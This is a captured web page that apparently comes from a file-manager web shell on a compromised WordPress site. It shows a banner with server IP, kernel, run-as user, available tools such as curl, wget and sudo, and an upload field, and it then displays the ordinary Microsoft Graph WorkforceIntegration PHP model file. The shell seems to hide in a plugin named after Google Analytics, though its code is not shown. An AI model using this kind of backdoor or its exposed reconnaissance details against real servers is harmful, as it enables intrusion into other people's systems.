Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/hopeinstoughton_www/vendor/microsoft/microsoft-graph/src/Model/ |
Upload File : |
<?php
/**
* Copyright (c) Microsoft Corporation. All Rights Reserved. Licensed under the MIT License. See License in the project root for license information.
*
* WorkforceIntegration File
* PHP version 7
*
* @category Library
* @package Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license https://opensource.org/licenses/MIT MIT License
* @link https://graph.microsoft.com
*/
namespace Microsoft\Graph\Model;
/**
* WorkforceIntegration class
*
* @category Model
* @package Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license https://opensource.org/licenses/MIT MIT License
* @link https://graph.microsoft.com
*/
class WorkforceIntegration extends ChangeTrackedEntity
{
/**
* Gets the apiVersion
* API version for the call back URL. Start with 1.
*
* @return int|null The apiVersion
*/
public function getApiVersion()
{
if (array_key_exists("apiVersion", $this->_propDict)) {
return $this->_propDict["apiVersion"];
} else {
return null;
}
}
/**
* Sets the apiVersion
* API version for the call back URL. Start with 1.
*
* @param int $val The apiVersion
*
* @return WorkforceIntegration
*/
public function setApiVersion($val)
{
$this->_propDict["apiVersion"] = intval($val);
return $this;
}
/**
* Gets the displayName
* Name of the workforce integration.
*
* @return string|null The displayName
*/
public function getDisplayName()
{
if (array_key_exists("displayName", $this->_propDict)) {
return $this->_propDict["displayName"];
} else {
return null;
}
}
/**
* Sets the displayName
* Name of the workforce integration.
*
* @param string $val The displayName
*
* @return WorkforceIntegration
*/
public function setDisplayName($val)
{
$this->_propDict["displayName"] = $val;
return $this;
}
/**
* Gets the encryption
* The workforce integration encryption resource.
*
* @return WorkforceIntegrationEncryption|null The encryption
*/
public function getEncryption()
{
if (array_key_exists("encryption", $this->_propDict)) {
if (is_a($this->_propDict["encryption"], "\Microsoft\Graph\Model\WorkforceIntegrationEncryption") || is_null($this->_propDict["encryption"])) {
return $this->_propDict["encryption"];
} else {
$this->_propDict["encryption"] = new WorkforceIntegrationEncryption($this->_propDict["encryption"]);
return $this->_propDict["encryption"];
}
}
return null;
}
/**
* Sets the encryption
* The workforce integration encryption resource.
*
* @param WorkforceIntegrationEncryption $val The encryption
*
* @return WorkforceIntegration
*/
public function setEncryption($val)
{
$this->_propDict["encryption"] = $val;
return $this;
}
/**
* Gets the isActive
* Indicates whether this workforce integration is currently active and available.
*
* @return bool|null The isActive
*/
public function getIsActive()
{
if (array_key_exists("isActive", $this->_propDict)) {
return $this->_propDict["isActive"];
} else {
return null;
}
}
/**
* Sets the isActive
* Indicates whether this workforce integration is currently active and available.
*
* @param bool $val The isActive
*
* @return WorkforceIntegration
*/
public function setIsActive($val)
{
$this->_propDict["isActive"] = boolval($val);
return $this;
}
/**
* Gets the supportedEntities
* The Shifts entities supported for synchronous change notifications. Shifts will make a call back to the url provided on client changes on those entities added here. By default, no entities are supported for change notifications. Possible values are: none, shift, swapRequest, userShiftPreferences, openshift, openShiftRequest, offerShiftRequest, unknownFutureValue.
*
* @return WorkforceIntegrationSupportedEntities|null The supportedEntities
*/
public function getSupportedEntities()
{
if (array_key_exists("supportedEntities", $this->_propDict)) {
if (is_a($this->_propDict["supportedEntities"], "\Microsoft\Graph\Model\WorkforceIntegrationSupportedEntities") || is_null($this->_propDict["supportedEntities"])) {
return $this->_propDict["supportedEntities"];
} else {
$this->_propDict["supportedEntities"] = new WorkforceIntegrationSupportedEntities($this->_propDict["supportedEntities"]);
return $this->_propDict["supportedEntities"];
}
}
return null;
}
/**
* Sets the supportedEntities
* The Shifts entities supported for synchronous change notifications. Shifts will make a call back to the url provided on client changes on those entities added here. By default, no entities are supported for change notifications. Possible values are: none, shift, swapRequest, userShiftPreferences, openshift, openShiftRequest, offerShiftRequest, unknownFutureValue.
*
* @param WorkforceIntegrationSupportedEntities $val The supportedEntities
*
* @return WorkforceIntegration
*/
public function setSupportedEntities($val)
{
$this->_propDict["supportedEntities"] = $val;
return $this;
}
/**
* Gets the url
* Workforce Integration URL for callbacks from the Shifts service.
*
* @return string|null The url
*/
public function getUrl()
{
if (array_key_exists("url", $this->_propDict)) {
return $this->_propDict["url"];
} else {
return null;
}
}
/**
* Sets the url
* Workforce Integration URL for callbacks from the Shifts service.
*
* @param string $val The url
*
* @return WorkforceIntegration
*/
public function setUrl($val)
{
$this->_propDict["url"] = $val;
return $this;
}
}